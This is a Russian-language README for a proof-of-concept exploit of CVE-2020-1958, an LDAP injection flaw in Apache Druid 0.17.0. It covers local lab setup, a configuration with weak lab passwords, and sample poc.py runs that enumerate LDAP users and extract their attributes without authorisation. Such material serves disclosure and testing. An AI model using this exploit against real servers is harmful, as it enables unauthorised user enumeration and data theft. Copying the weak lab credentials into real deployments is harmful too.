
Доказательство концепции эксплуатации для CVE-2020-1958, уязвимости внедрения LDAP в Apache Druid 0.17.0, позволяющей перечисление пользователей и извлечение атрибутов LDAP.
CVE-2020-1958 — это уязвимость LDAP-инъекции высокой степени серьезности в Apache Druid 0.17.0. Она позволяет злоумышленнику обойти фильтр поиска LDAP и получить значения любых атрибутов LDAP пользователей, существующих на LDAP-сервере.
Из официального уведомления Apache Druid:
Когда включена аутентификация LDAP:
- Вызывающие API Druid с допустимым набором учетных данных LDAP могут обойти барьер фильтра
credentialsValidator.userSearch, который определяет, разрешено ли допустимому пользователю LDAP проходить аутентификацию в Druid. Они по-прежнему подлежат проверкам авторизации на основе ролей, если они настроены.- Вызывающие API Druid могут получить любые значения атрибутов LDAP пользователей, существующих на LDAP-сервере, при условии, что эта информация видна серверу Druid. Это раскрытие информации не требует, чтобы сам вызывающий был допустимым пользователем LDAP.
Сценарий poc.py демонстрирует, как неавторизованный злоумышленник может перечислить пользователей на LDAP-сервере, интегрированном с Druid, и получить значение любого атрибута любого пользователя.
Пропустите этот шаг, если у вас уже есть сервер Druid с включенной аутентификацией LDAP.
Загрузите Druid 0.17.0 и распакуйте его
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
Включите и настройте аутентификацию LDAP в conf/druid/single-server/nano-quickstart/_common/common.runtime.properties
Включите расширение druid-basic-security
Найдите druid.extensions.loadList и добавьте druid-basic-security:
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
Настройте аутентификацию LDAP
Добавьте следующее в конец файла:
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
Запустите сервер OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Импортируйте пользователей из users.ldif в LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Запустите сервер Druid
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last